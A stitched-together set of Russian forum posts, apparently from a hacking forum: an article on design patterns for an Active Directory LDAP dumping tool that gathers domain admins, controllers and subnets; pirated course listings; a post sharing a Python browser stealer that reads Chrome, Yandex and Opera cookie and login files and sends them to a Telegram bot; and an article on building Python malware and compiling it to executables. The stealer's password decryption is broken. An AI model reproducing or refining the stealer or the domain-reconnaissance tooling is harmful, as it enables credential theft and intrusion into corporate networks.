Обратите внимание, у нас снова возник конфиг. Причем не какой-то конкретный, а базовый класс. В православных плюсах я бы сказал, что мы передаем указатель на базовый класс. Да здравствует полиморфизм. Сейчас я не знаю что у меня будет за продукт, какие параметры ему передадут в метод save, но мне это и не особо важно. Конфиг это знает, он и скажет нам что делать с результатом.
Идем дальше. Если заглянуть в бессмертное произведение «Банды четырех», то можно понять, что у нас явно уже проглядывается паттерн «Строитель». Давайте вспомним что это, обратившись к первоисточнику.
Строитель — это порождающий паттерн проектирования, который позволяет создавать сложные объекты пошагово. Строитель даёт возможность использовать один и тот же код строительства для получения разных представлений объектов. (Определение взято из книги замечательного автора Александра Швеца. К сожалению сейчас его сайт refactoring.guru недоступен из РФ по понятным причинам~~и это еще один повод ебануть лишний раз пендосов~~. Но об этом не здесь и не сейчас. )
Так вот. Паттерн строитель позволяет компоновать продукт нужным образом. У нас
есть класс LdapDataCollector, который умеет собирать всю необходимую
информацию. Но для каждого продукта нам необходим различный набор этих данных.
Наиболее близ-
кое сравнение – комплектации автомобилей. Мы можем приобрести бомж-
комплектацию на палке с веслами. А можем доплатить и кайфовать от максимальной
комплектации. В основе лежит один и тот же автомобиль, но начинка у него
разная. Не буду тут дублировать текст книги. Она легко гуглится, но если прямо
очень нужно, то могу поделиться. Диаграммы классов мне тоже рисовать лень, у
того же Швеца все максимально подробно описано.
Вернемся к нашим баранам (дампам).
3.3.1 Products
Продуктами, которые производит строитель у нас будут обычный дамп и полный.
Ниже приведен код их конструкторов и реализация абстрактных методов базового
класса AbstractProduct.
Python:Copy to clipboard
class Dump(AbstractProduct):
def __init__(self):
super().__init__()
self.domain_users = list()
self.domain_admins = list()
self.enterprise_admins = list()
self.domain_controllers = list()
self.domain_trusts = list()
self.servers = list()
self.user_pc = list()
self.os_versions = set()
self.server_os_count = 0
self.user_os_count = 0
self.os_counter = dict()
self.computers = dict()
def print_results(self):
DumpLogger.print_title('Dump. print_results')
self.print_domain_admins()
self.print_enterprise_admins()
self.print_domain_controllers()
self.print_domain_computers()
def save(self, app_config: DumpConfig):
DumpLogger.print_title(f'Dump saving results...')
self.save_domain_users(app_config)
self.save_domain_admins(app_config)
self.save_enterprise_admins(app_config)
self.save_servers(app_config)
self.save_users_pc(app_config)
self.save_os_statistic(app_config)
DumpLogger.print_success('Done...')
FullDump
Поскольку FullDump является расширенной версией обычного дампа, то мы его
просто унаследуем от него. В итоге получится примерно следующее.
Python:Copy to clipboard
class Fulldump(Dump):
def __init__(self):
super().__init__()
self.ad_organizational_units = list()
self.ad_subnets = list()
self.ad_groups = list()
self.user_groups = list()
self.users_count = 0
self.computers_count = 0
def print_results(self):
super().print_results()
self.print_domain_groups()
self.print_domain_subnets()
self.print_organizational_units()
# DumpLogger.print_param('found', self.)
def save(self, app_config: FulldumpConfig):
super().save(app_config)
self.save_organizational_unit(app_config)
self.save_ad_groups(app_config)
self.save_subnets(app_config)
title = "Fastdump"
filename = app_config.fast_dump_filename
FileHelper.append_title_to_file(filename, title)
FileHelper.append_to_file(filename, f'found {self.users_count} users; ')
FileHelper.append_to_file(filename, f'found {self.computers_count} computers; ')
FileHelper.append_to_file(filename, f'current user is member of ')
FileHelper.save_list_to_file(self.user_groups, filename, 'user groups')
3.3.2 Builders
Теперь нам нужны строители, которые будут выпускать наши продукты. Еще нам понадобится фабрика, которая на основании переданных параметров будет собирать самих строителей. Начнем, пожалуй, с нее. В основе каждого строителя у нас будет лежать наш неизменный LdapDataCollector. Здесь же нам понадобится набор параметров для каждого продукта. Их передаем в виде конфига. Получится примерно следующее:
Python:Copy to clipboard
class BuilderFactory:
def __init__(self):
pass
@staticmethod
def create_fulldump_builder(app_config: FulldumpConfig, data_collector: LdapDataCollector) -> AbstractBuilder:
return FulldumpBuilder(app_config, data_collector)
@staticmethod
def create_minidump_builder(app_config: MinidumpConfig, data_collector: LdapDataCollector) -> AbstractBuilder:
return MinidumpBuilder(app_config, data_collector)
У фабрики всего два статических метода, но по мере расширения продукта она
будет ими обрастать.
Теперь рассмотрим самих строителей. Для удобства введем еще один класс
строителя и назовем его MiniDump. Он и будет выполнять роль сборщика
минимального дампа.
Итого у нас имеется 4 класса строителей:
• AbstractBuilder – родительский абстрактный класс, без реализации каких
либо методов. Ему в конструктор мы отдадим LdapDataCollector, который будет
доступен всем его потомкам. У него всего два абстрактных метода. build_product
и setup_incomplete_product.
пытается собрать изделие. Второй устраняет косяки первого и стучит наверх об
ошибках.
Python:Copy to clipboard
class AbstractBuilder:
def __init__(self, data_collector: LdapDataCollector):
self.data_collector = data_collector
self.is_build_completed = True
self.error_message = ''
@abstractmethod
def build_product(self) -> AbstractProduct:
pass
@abstractmethod
def setup_incomplete_product(self, err, error_message):
pass
• DumpBuilder – это уже базовый класс для строителей дампов. Я пока даже не знаю какие еще продукты буду выпускать, но очевидно, что дампы необходимо вынести в отдельную категорию. Его реализация примерно такая вышла. То есть мы передаем на вход параметры продукта. Собираем его внутри закрытых методов и возвращаем уже готовый к дальнейшему использованию объект.
Python:Copy to clipboard
class DumpBuilder(AbstractBuilder):
def __init__(self, data_collector: LdapDataCollector, app_config: DumpConfig, mode: ProgramMode):
super().__init__(data_collector)
self.app_config = app_config
self.program_mode = mode
self._result = AbstractProduct()
@abstractmethod
def build_product(self) -> Dump():
pass
def setup_incomplete_product(self, err, error_message):
DumpLogger.print_error_message(self.error_message)
self.is_build_completed = False
def _is_data_collected(self) -> bool:
self.__find_domain_users()
self.__find_domain_admins()
self.__find_enterprise_admins()
self.__find_domain_controllers()
self.__find_domain_trusts()
self.__find_domain_computers()
if not self.is_build_completed:
DumpLogger.print_error('The data collecting for a dump mode failed with error', self.error_message)
return False
self._result.servers = self.data_collector.servers
self._result.user_pc = self.data_collector.user_pc
self._result.server_os_count = self.data_collector.server_os_count
self._result.user_os_count = self.data_collector.user_os_count
self._result.os_counter = self.data_collector.os_counter
self.is_build_completed = True
return True
• MiniDumpBuilder – смотри описание выше.
Python:Copy to clipboard
class MinidumpBuilder(DumpBuilder):
def __init__(self, app_config: MinidumpConfig, data_collector: LdapDataCollector):
super().__init__(data_collector, app_config, ProgramMode.MINI_DUMP)
self.app_config = app_config
self._result = Minidump()
def build_product(self) -> AbstractProduct | None:
if not self._is_data_collected():
DumpLogger.print_error('MinidumpBuilder error',
'failed to collect basic information about the network')
self.is_build_completed = False
return None
self.is_build_completed = True
DumpLogger.highlight_green('Done...')
return self._result
Как легко заметить, реализация заняла всего несколько строк. Посмотрим что получится со строителем фуллдампа.
Python:Copy to clipboard
class FulldumpBuilder(DumpBuilder):
def __init__(self, app_config: FulldumpConfig, data_collector: LdapDataCollector):
super().__init__(data_collector, app_config, ProgramMode.FULL_DUMP)
self.app_config = app_config
self._result = Fulldump()
def build_product(self) -> AbstractProduct | None:
DumpLogger.print_title('FULLDUMP BUILDER build product')
try:
if not self._is_data_collected():
DumpLogger.print_error('FulldumpBuilder error',
'failed to collect basic information about the network')
return None
if not self.__collect_fulldump_data():
self.error_message = 'FulldumpBuilder error. Failed to collect basic information about the network'
DumpLogger.print_error_message(self.error_message)
return None
self.is_build_completed = True
DumpLogger.highlight_green('Done...')
return self._result
except Exception as err:
DumpLogger.print_error('Error in building a full network dump', str(err))
raise err
def __collect_fulldump_data(self) -> bool:
self.__find_ad_ou()
self.__find_ad_subnets()
self.__find_ad_groups()
self._result.computers_count = len(self._result.servers) + len(self._result.user_pc)
self._result.users_count = len(self.data_collector.get_domain_users())
self._result.user_groups = self.data_collector.get_user_groups()
if not self.is_build_completed:
return False
self.is_build_completed = True
DumpLogger.highlight_green('Done...')
return True
def __find_ad_groups(self):
try:
self._result.ad_groups = self.data_collector.get_ad_groups()
except Exception as err:
self.error_message = f'get auth mechanism failed with error: {str(err)} '
self.setup_incomplete_product(err, self.error_message)
def __find_ad_subnets(self):
try:
self._result.ad_subnets = self.data_collector.get_ad_subnets()
except Exception as err:
self.error_message = f'get ad subnets failed with error: {str(err)} '
self.setup_incomplete_product(err, self.error_message)
def __find_ad_ou(self):
DumpLogger.print_title('FULLDUMP BUILDER __collect_fulldump_data')
try:
self._result.ad_organizational_units = self.data_collector.get_ad_organizational_unit()
except Exception as err:
self.error_message = f'get ad ou failed with error: {str(err)} '
self.setup_incomplete_product(err, self.error_message)
Код получился компактным, читаемым. Все по фэн-шую.
4 Конфиги, конфигураторы
Выше мы неоднократно использовали класс конфига в качестве параметров. Пришло
время уделить ему должное внимание.
Параметры приложения можно передавать либо через командную строку, если их не очень много. Если же у нас получилась мультиварка, то параметров может быть очень много и тогда их следует вынести в конфигурационный файл, который мы будем читать, парсить и работать уже с его данными. Но об этом тоже не здесь и не сейчас. Будем передавать как простые смертные через командную строку. Я сначала хотел описать еще и парсер аргументов, но статья итак вышла уже достаточно объемной. Ограничимся самими конфигами и конфигураторами.
Тут вот какая штука получается. Из одних и тех же параметров мы можем собрать конфиги для различных режимов работы приложения. Если у нас один-два режима, то можно просто захардкодить параметры и не греть голову. Это не наш случай, поэтому закатываем рукава и поехали.
4.1 Конфиги дампов
Ну поскольку у нас получилось 4 строителя, то и конфигов для них будет столько
же. Для каждого свой.
4.1.1 AppConfig
Абстрактный класс с «чисто виртуальными методами», да простят меня адепты
питона.
Python:Copy to clipboard
class AppConfig:
def __init__(self):
pass
@abstractmethod
def print(self):
pass
@abstractmethod
def is_valid(self) -> bool:
pass
@abstractmethod
def help(self):
pass
4.1.2 DumpConfig
Здесь у нас уже будут храниться вполне конкретные параметры, такие как:
• каталог сохранения данных для текущего режима работы;
• каталог сохранения отсортированных юзеров;
• каталог сохранения отсортированных рабочих станций;
• каталог сохранения отсортированных серверов;
• имена файлов для сохранения списков админов и прочей нечисти. По коду
поймете в общем.
Python:Copy to clipboard
from source.utils.app_config.configs.app_config import AppConfig
from source.utils.console.console_utils import DumpLogger
class DumpConfig(AppConfig):
def __init__(self):
super().__init__()
self.current_mode_out_dir = ''
self.sorted_users_dir = ''
self.user_pc_filename = ''
self.server_os_filename = ''
self.domain_users_filename = ''
self.enterprise_admins_filename = ''
self.domain_admins_filename = ''
self.sorted_computers_dir = ''
def print(self):
DumpLogger.print_param('current mode out dir', self.current_mode_out_dir)
DumpLogger.print_param('sorted users dir', self.sorted_users_dir)
DumpLogger.print_param('users PC file', self.user_pc_filename)
DumpLogger.print_param('server OS file', self.server_os_filename)
DumpLogger.print_param('domain users file', self.domain_users_filename)
DumpLogger.print_param('enterprise admins file', self.enterprise_admins_filename)
DumpLogger.print_param('domain admins file', self.domain_admins_filename)
DumpLogger.print_param('sorted computers dir', self.sorted_computers_dir)
def is_valid(self) -> bool:
return super().is_valid()
def help(self):
super().help()
4.1.3 MiniDumpConfig
Python:Copy to clipboard
class MinidumpConfig(DumpConfig):
def __init__(self):
super().__init__()
self.domain_users_filename = 'domain_users.txt'
def print(self):
DumpLogger.print_title('Minidump configuration')
super().print()
DumpLogger.print_param('domain users file', self.domain_users_filename)
def is_valid(self) -> bool:
return True#todo: implement this
def help(self):
super().help()
DumpLogger.print_title('Minidump configuration. See README.md for more information')
4.1.4 FullDumpConfig
Python:Copy to clipboard
class FulldumpConfig(DumpConfig):
def __init__(self):
super().__init__()
self.subnets_filename = ''
self.groups_filename = ''
self.organizational_unit_filename = ''
self.fast_dump_filename = ''
def print(self):
DumpLogger.print_title('Fulldump configuration')
super().print()
DumpLogger.print_param('subnets file', self.subnets_filename)
DumpLogger.print_param('domain groups file', self.groups_filename)
DumpLogger.print_param('domain groups file', self.organizational_unit_filename)
def is_valid(self) -> bool:
return super().is_valid()
def help(self):
super().help()
4.2 Конфигураторы
Как вы могли заметить, в самих конфигах значения не заданы. Можно, конечно,
все передать через параметры, но это прошлый век. Поэтому мы будем сочинять
козу на лисапеде – то бишь конфигураторы.
Поехали.
Основная задача конфигуратора передать в конфиг корректные параметры. Чем мы и
займемся.
Действуем по тому же принципу. **Даешь каждому конфигу по конфигуратору.
4.2.1 AppConfigurator**
Абстрактный базовый класс, принимающий на вход некие общие параметры и пустой конфиг, который он будет этими параметрами заполнять.
Python:Copy to clipboard
class AppConfigurator:
def __init__(self, domain_name: str, current_mode_name, out_dir: str = 'evil-corp'):
self.out_dir = out_dir
self._root_out_dir = ''
self._current_mode_out_dir = ''
self._domain_name = domain_name
self._current_mode_name = current_mode_name
@abstractmethod
def setup(self):
pass
@abstractmethod
def create_out_dirs(self):
self.create_root_dir()
self.create_current_mode_out_dir()
def create_root_dir(self):
if not os.path.exists(self.out_dir):
os.mkdir(self.out_dir)
def create_current_mode_out_dir(self):
corp_dir = self._domain_name.replace('.', '_')
tmp = os.path.join(self.out_dir, corp_dir)
if not os.path.exists(tmp):
os.mkdir(tmp)
self._current_mode_out_dir = os.path.join(tmp, self._current_mode_name)
if not os.path.exists(self._current_mode_out_dir):
os.mkdir(self._current_mode_out_dir)
4.2.2 DumpConfigurator
Python:Copy to clipboard
class DumpConfigurator(AppConfigurator):
def __init__(self, dump_config: DumpConfig, domain_name: str, current_mode: str, out_dir: str = 'evil-corp'):
super().__init__(domain_name, current_mode, out_dir)
self.config = dump_config
def setup(self):
super().setup()
self.create_out_dirs()
self.config.domain_admins_filename = os.path.join(self.config.sorted_users_dir, 'domain_admins.txt')
self.config.enterprise_admins_filename = os.path.join(self.config.sorted_users_dir, 'enterprise_admins.txt')
self.config.domain_users_filename = os.path.join(self.config.sorted_users_dir, 'domain_users.txt')
self.config.server_os_filename = os.path.join(self.config.sorted_computers_dir, 'servers.txt')
self.config.user_pc_filename = os.path.join(self.config.sorted_computers_dir, 'user_pc.txt')
def create_out_dirs(self):
super().create_out_dirs()
self.config.current_mode_out_dir = self._current_mode_out_dir
if not os.path.exists(self._current_mode_out_dir):
os.mkdir(self._current_mode_out_dir)
self.config.sorted_users_dir = os.path.join(self._current_mode_out_dir, 'sorted_users')
if not os.path.exists(self.config.sorted_users_dir):
os.mkdir(self.config.sorted_users_dir)
self.config.sorted_computers_dir = os.path.join(self._current_mode_out_dir, 'sorted_computers')
if not os.path.exists(self.config.sorted_computers_dir):
os.mkdir(self.config.sorted_computers_dir)
4.2.3 MinidumpConfigurator
Python:Copy to clipboard
class MinidumpConfigurator(DumpConfigurator):
def __init__(self, minidump_config: MinidumpConfig, domain_name: str, out_dir: str = 'evil-corp'):
super().__init__(minidump_config, domain_name, 'minidump', out_dir)
def setup(self):
super().setup()
def create_out_dirs(self):
super().create_out_dirs()
4.2.4 FulldumpConfigurator
Python:Copy to clipboard
import os.path
from source.utils.app_config.configs.app_mode_configs.fulldump_config import FulldumpConfig
from source.utils.app_config.configurators.dump_configurator import DumpConfigurator
from source.utils.console.console_utils import DumpLogger
class FulldumpConfigurator(DumpConfigurator):
def __init__(self, fulldump_config: FulldumpConfig, domain_name: str, out_dir: str = 'evil-corp'):
super().__init__(fulldump_config, domain_name, 'fulldump', out_dir)
def setup(self):
super().setup()
self.config.organizational_unit_filename = \
os.path.join(self.config.current_mode_out_dir, 'organizational_unit.txt')
self.config.subnets_filename = os.path.join(self.config.current_mode_out_dir, 'subnets.txt')
self.config.groups_filename = os.path.join(self.config.current_mode_out_dir, 'groups.txt')
self.config.fast_dump_filename = os.path.join(self.config.current_mode_out_dir, 'fastdump.txt')
def create_out_dirs(self):
super().create_out_dirs()
DumpLogger.print_title('FulldumpConfigurator create_out_dirs')
pass
4.3 Выводы
Вся работа у нас теперь сводится к созданию конфига, передаче его строителю,
сборке продукта и печати результатов. и итоговый код, для запуска одного из
режимов у нас будет при-
мерно такой.
Python:Copy to clipboard
def run_fulldump_mode(self, fulldump_config, data_collector) -> bool:
try:
DumpLogger.print_title('run_fulldump_mode started')
fulldump_configurator = \
ConfiguratorsFactory.create_fulldump_configurator(fulldump_config, self.domain_name, self.out_dir)
fulldump_configurator.setup()
fulldump_builder = BuilderFactory.create_fulldump_builder(fulldump_config, data_collector)
fulldump = fulldump_builder.build_product()
self.result = fulldump
self.result.print_results()
self.result.save(fulldump_config)
return True
except Exception as error:
DumpLogger.print_error('Oh, sorry, something broke, but we\'re already working on it', str(error))
return False
Эта статья предназначена, в первую очередь, для начинающих разработчиков. Но возможно более опытные коллеги смогут что-то для себя почерпнуть или указать на недостаки.
Я намерено не привожу здесь код проекта целиком. Но для демонстрации результата прикреплю пару скринов с результатами работы.
Чему вы научитесь
Требования
Описание
Получение доступа к нужным вам данным может помочь или сломать вас.
Вот почему компании из списка Fortune 500, такие как Walmart, CNN, Target и HSBC, используют веб-скрапинг, чтобы опережать и опережать данные.
Это оригинальный инструмент роста и один из их лучших секретов.
… И легко может стать и твоим.
От подделки данных до законности, сканирования библиотек, обслуживания, мониторинга и т. Д., Создание безопасного и эффективного веб-скребка - дело рискованное, но это навык, который нужен каждому специалисту по данным в своем наборе инструментов.
Сегодня мы строим его с нуля .
Привет, меня зовут Джордан Сучук. Я инженер по искусственному интеллекту и кибербезопасности и инструктор SuperDataScience. Я здесь, чтобы дать вам пошаговые инструкции по созданию пользовательских веб-парсеров на Python с использованием Selenium, Scrapy и BeautifulSoup.
Добро пожаловать в современный веб-парсинг на Python.
В конце этого курса вы поймете самые важные компоненты веб-парсинга и сможете создавать свои собственные веб-парсеры для получения новых данных, оптимизации внутренних процессов и многого другого.
Кроме того, ознакомьтесь с некоторыми из наиболее распространенных методов очистки и отточите свои навыки программирования на Python, пока вы занимаетесь этим!
Мы будем писать код на Python и использовать пакет автоматического тестирования Selenium, инфраструктуру Python Scrapy и библиотеку BeautifulSoup для создания веб-парсеров, которые можно настроить в соответствии с вашими потребностями.
Но тщательный осмотр - это еще не все, что вам нужно.
Доступ к нашему студенческому форуму, где вы можете общаться со мной и своими однокурсниками. Задавайте мне вопросы, получайте отзывы от других учеников и вдохновляйтесь умными решениями для очистки от ваших одноклассников.
Являетесь ли вы специалистом по обработке данных, машинным обучением или инженером искусственного интеллекта, который хочет получить доступ к большему количеству источников данных веб-разработчик, желающий автоматизировать задачи, или любитель данных с общим интересом к науке о данных и веб-парсингу…
Этот курс представляет собой углубленное представление основ, методологий и подходов веб-парсинга, которые вы можете легко применить в своих личных проектах или в реальном мире бизнеса.
Присоединяйтесь ко мне сейчас, и давайте вместе начнем очищать Интернет. Запишитесь сегодня.
Для кого этот курс:
Используйте всю мощь Scrapy, BeautifulSoup и Selenium, чтобы улучшить свою игру в веб-сканирование!
Язык: Английский + англ. субтитры + **русские субтитры
Подробнее:**
https://www.udemy.com/course/modern-web-scraping-in-python/
Скачать:
You must have at least 10 reaction(s) to view the content.
Автор: Хекслет
Название: Веб-разработка на Python (2022)
**Описание:
Учим необходимому**
Погрузитесь в создание web-сервисов, изучите Django — самый популярный веб-
фреймворк Python. Научитесь работать с базами данных с помощью ORM,
отслеживайте ошибки с помощью Rollbar. Пишите автоматизированные тесты для
повышения качества кода и гарантии его работоспособности. Деплойте сайт на
сервер.
Что включено в трек
39 текстовых уроков
30 упражнений в тренажере
114 проверочных тестов
**Программа:
1 О курсе
Узнать о курсе, его структуре, задачах и целях.
2 HTTP 1.0
Познакомиться с основами HTTP, базовой структурой запроса и понятиями User-
agent и DNS.
3 HTTP 1.1
Узнать чем HTTP 1.1 отличается от версии 1.0, познакомиться с понятием "keep
alive".
4 Тело HTTP-запроса
Изучить структуру тела запросов и ответов.
5 Отправка форм
Рассмотреть каким образом отправляются данные из формы в HTTP-запросе.
6 Transfer-Encoding
Понять, как работает способ передачи данных «кусками» (chunks) в протоколе
http.
7 Передача данных query string
Рассмотреть передачу данных на сервер в request line с помощью query string.
8 Перенаправления
Понять, как работают перенаправления при HTTP-запросах.
9 Базовая аутентификация
Изучить как работает базовая аутентификация и как браузер реагирует на код
401.
10 Cookies
Понять, каким образом с помощью cookies работают с ограничениями stateless-
протокола HTTP.
11 Дополнительные материалы
2) Python: Django
1 Введение
Познакомиться с курсом и взглянуть на предмет обсуждения — фреймворк Django —
с высоты птичьего полёта.
2 Почему Django
Узнать, чем же конкретно хорош Django и что заставляет множество разработчиков
выбирать именно этот фреймворк.
3 Быстрый старт с Django
Создать простейшее Web-приложение на Django, научиться запускать в режиме
разработки и в боевых условиях.
4 Приложения
Познакомиться главным средством организации кода в больших проектах — с
приложениями.
5 Представления (Views)
Поглубже познакомиться с представлениями-функциями и узнать о представлениях-
классах.
6 Маршрутизация
Узнать, как в Django принято описывать маршруты, получать из путей параметры,
разделять маршруты между приложениями.
7 Шаблонизация
Узнать, как Django формирует HTML-страницы на основе шаблонов.
8 Модели
Познакомиться со подсистемой Django, используемой для представления информации
в базах данных в удобном для использования виде, а именнно — с моделями.
9 Заключение
3) Python: Django ORM
1 О курсе
Узнать о курсе, его структуре, задачах и целях.
2 Настройка Django ORM
Завести подготовленный пакет с Django ORM у себя на локальном компьютере
3 Основные концепции
Познакомитсья с базовыми понятиями: модели, схема, запросы, CRUD.
4 Модель
Научиться создавать модели и использовать их.
5 Запрос данных из базы
Научиться создавать произвольные запросы к данным через специализированный
язык запросов
6 Связи
Научиться строить связи "один ко многим" и "один к одному"
7 Многие ко Многим
Познакомиться с наиболее сложным видом связи между сущностями.
8 Аннотирование и агрегация
Научиться добавлять к получаемым из БД сущностям данные, вычисляемые силами
СУБД. Научиться получать различную собирательную информацию о данных.
9 Транзакции
Познакомиться со средствами описания транзакций с помощью Django ORM.
4) Python: Веб-разработка (Flask)
1 Введение
Познакомиться с курсом и узнать о том, на что способен предмет курса —
микрофреймворк Flask.
2 Быстрый старт с Flask
Узнать, как создать простейшее Flask-приложение, готовое к запуску и ответу на
запросы.
3 Маршрутизация
Познакомиться с концепцией маршрутизации и узнать, как Flask подходит к
обработке маршрутов.
4 Сложный роутинг и формирование URL
Узнать про расширенные возможности системы маршрутизации и научиться получать
URL для требуемых маршрутов.
5 Шаблонизация HTML
Узнать, как Flask формирует HTML-страницы с помощью механизма шаблонизации.
6 Запросы
Научиться работе с данными запросов: глаголами, заголовками, параметрами.
7 Ответы сервера
Научиться возвращать разного вида данные в ответ на запросы.
8 Отладчик Werkzeug
Узнать о ключевых особенностях встроенного во Flask отладчика Werkzeug.
9 Запуск Flask в боевых условиях
Узнать, чем отличается запуск на сервере для разработки от запуска в боевых
условиях. Научиться запускать Flask-приложения с помощью WSGI-сервера.
10 Дополнительные материалы
Помогают глубже и всесторонне рассмотреть тему курса в открытых статьях и
видео подобранных командой Хекслета
Подробнее:
https://ru.hexlet.io/programs/python-web-development
Скачать:
You must have at least 5 reaction(s) to view the content.
вот скрипт вора на питоне, хотелось бы мнения более опытных людей
Python:Copy to clipboard
import getpass
import random
import telebot
import cryptography
from cryptography.fernet import Fernet
# Replace "YOUR_BOT_TOKEN" with your actual bot token
bot = telebot.TeleBot("YOUR_BOT_TOKEN")
fldr = 'C:\\Users'+'\\' + getpass.getuser()+'\\AppData\\'
files = [
("google","Local\\Google\\Chrome\\User Data\\Default\\Cookies","Local\\Google\\Chrome\\User Data\\Default\\Login Data"),
("yandex","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies","Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"),
("opera","Roaming\\Opera Software\\Opera Stable\\Cookies","Roaming\\Opera Software\\Opera Stable\\Login Data")
#("firefox", "", "")
]
def check():
global files
key = Fernet.generate_key()
cipher_suite = Fernet(key)
for f in files:
try:
with open(fldr+f[1], "rb") as content:
# Send the cookie data to Telegram
bot.send_document(chat_id="YOUR_TELEGRAM_CHAT_ID", document=content.read())
with open(fldr+f[2], "rb") as content:
encrypted_pass = content.read()
# Decrypt the password data
decrypted_pass = cipher_suite.decrypt(encrypted_pass)
# Send the decrypted password data to Telegram
bot.send_message(chat_id="YOUR_TELEGRAM_CHAT_ID", text=decrypted_pass.decode())
except Exception as err:
#print(err)
print('There is no '+f[0]+' here.')
check()
Вайт жуниоры,мидлы,"сеньоры" поделитесь вашим опытом. А именно, 1.на что не надо тратить больше времени (книги vs практика). 2. За какое время возможно стать полноценным junior по пайтону? Полгода,год,полтора? вполне понятно что 2вопрос индивидуальный, ну к примеру если по 2 часа:день?
Дополнителный вопрос/
Как состоят дела с рынком пайтон-жуниоров? Хлеб получают? ,удаленка возможна?
Подавляющее большинство серьезных вредоносов за последние 30 лет были написаны на ассемблере или компилируемых языках, таких как C, C++ и Delphi. Однако за последнее десятилетие приложения подобного рода становится все более разнообразными и, как, следствие, все чаще пишутся на интерпретируемых языках, как, например, на Python. Низкий порог входа, простота использования, высокая скорость разработки и огромная коллекция библиотек сделали Python привлекательным для большинства программистов, включая разработчиков вредоносов. Python становится все более любимым инструментом при создании утилит для троянов, эксплоитов, кражи информации и тому подобного. Поскольку [популярность Python продолжает неуклонно расти](https://www.techrepublic.com/article/python-is-eating-the-world-how- one-developers-side-project-became-the-hottest-programming-language-on-the- planet/), а порог входа в монокультуру вредоносов, написанных на C, продолжает оставаться слишком высоким, становится очевидным, что Python все чаще будет использоваться при реализации кибератак, в том числе и при написании троянов разного сорта.
Рисунок 1: Динамика популярности основных языков программирования за последнее десятилетие
По сравнению со стандартным компилируемым языком (например, C) при написании вредоноса на Python возникает целый ряд сложностей. Во-первых, для интерпретирования и выполнения кода Python должен быть установлен в операционной системе. Однако, как будет продемонстрировано далее, приложения, написанные на Python, могут быть легко сконвертированы в обычный исполняемый файл при помощи различных методов.
Во-вторых, вредоносы, написанные на Python, обычно большого размера, занимают много память, и, как следствие, требуют больше вычислительных ресурсов. Серьезные же вредоносы, которые можно найти в дикой природе, часто небольшие, незаметные, потребляют мало памяти, и используют ограниченные вычислительные мощности. Образец скомпилированного образца, написанного на C, может занимать около 200 КБ, а сравнимый экземпляр, написанный на Python, после конвертирования в исполняемый файл – около 20 МБ. Таким образом, при использовании интерпретируемых языков ресурсов процессора и оперативной памяти потребляется намного больше.
Однако к 2020 году и цифровые и информационные технологии сильно продвинулись. С каждым днем интернет становится быстрее, у компьютеров больше оперативной памяти и объемнее жесткие диски, процессоры производительнее и так далее. Соответственно, Python тоже становится все более популярным и уже идет предустановленным в macOS и большинстве линуксовых дистрибутивов.
Microsoft Windows все еще остается основной целью для большинства атак с использованием вредоносов, однако в этой операционной системе Python не идет установленным по умолчанию. Соответственно, для более эффективного и массового распространения вредоносный скрипт должен быть сконвертирован в исполняемый файл. Существует много способов «скомпилировать» Python. Рассмотрим наиболее популярные утилиты.
PyInstaller умеет преобразовывать Python-скрипты в самостоятельные исполняемые файлы для Windows, Linux, macOS посредством «замораживания» кода. Этот метод является одним из наиболее популярных для преобразования кода в исполняемый формат и широко используется как в легитимных, так и во вредоносных целях.
В качестве примера создадим простейшую программу «Hello, world!» и преобразуем в исполняемый файл при помощи PyInstaller:
В результате мы получили портативный, самодостаточный файл в формате ELF, являющийся эквивалентом EXE-файла в Windows. Теперь для сравнения создадим и скомпилируем ту же самую программу на C:
C:Copy to clipboard
$ cat hello.py
print('Hello, world!')
$ pyinstaller --onefile hello.py
...
$ ./dist/hello
Hello, world!
$ file dist/hello
dist/hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=294d1f19a085a730da19a6c55788ec08c2187039, stripped
$ du -sh dist/hello
7.0M dist/hello
Обратите внимание на разницу в размерах полученных исполняемых файлов: 7 МБ (Python) и 20 КБ (C)! В этом заключается один из основных недостатков, упоминаемым ранее, касательно размера файла и использования памяти. Исполняемый файл, скомпилированный из Python-кода, намного больше, поскольку внутри исполняемого файла должен присутствовать интерпретатор (как разделяемый объектный файл в Линуксе) для осуществления успешного запуска.
Py2exe – еще один популярный метод для конвертирования кода в самостоятельный исполняемый файл в формате EXE. Как и в случае с PyInstaller вместе с кодом идет интерпретатор с целью создания портативного исполняемого файла. Хотя py2exe, скорее всего, со временем перестанет использоваться, поскольку не поддерживает версии после Python 3.4, так как байт код в CPython сильно изменился в Python 3.6 и выше.
Py2exe использует пакет distutils и требует создания небольшого setup.py для создания исполняемого файла. Как и в предыдущем примере, создадим простейшую программу «Hello, world!» и скомпилируем при помощи py2exe:
Python:Copy to clipboard
> type hello.py
print('Hello, world!')
> type setup.py
import py2exe
from distutils.core import setup
setup(
console=['hello.py'],
options={'py2exe': {'bundle_files': 1, 'compressed': True}},
zipfile=None
)
> python setup.py py2exe
...
> dist\hello.exe
Hello, world!
Размер файла примерно тот же самый, что и в случае с PyInstaller (6.83 МБ)
Рисунок 2: Размер исполняемого файла, созданного при помощи py2exe
Nuitka, вероятно, является одним из наиболее недооцененных и в то же время более продвинутым методом для преобразования Python-кода в исполняемый файл. Вначале Python-код переводится в С-код, а затем происходит линковка с библиотекой libpython для выполнения кода в точности так же, как в случае с CPython. Nuitka умеет использовать разные C-компиляторы, включая gcc, clang, MinGW64, Visual Studio 2019+ и clang-cl для конвертирования Python-кода в C.
Вновь создаем простейшую программу «Hello, world!» и компилируем при помощи Nuitka:
Python:Copy to clipboard
$ cat hello.py
print('Hello, world!')
$ nuitka3 hello.py
...
$ ./hello.bin
Hello, world!
$ file hello.bin
hello.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=eb6a504e8922f8983b23ce6e82c45a907c6ebadf, for GNU/Linux 3.2.0, stripped
$ du -sh hello.bin
432K hello.bin
В этот раз нам удалось создать портативный бинарный файл размером 432 КБ, что намного меньше, чем при использовании PyInstaller и py2exe. Чтобы разобраться, как удалось добиться столь впечатляющих результатов, посмотрим содержимое папки, где происходила сборка:
Code:Copy to clipboard
$ cloc hello.build/
-------------------------------------------------------------------------------
Language files blank comment code
-------------------------------------------------------------------------------
C 11 2263 709 8109
C/C++ Header 1 1 0 7
-------------------------------------------------------------------------------
SUM: 12 2264 709 8116
-------------------------------------------------------------------------------
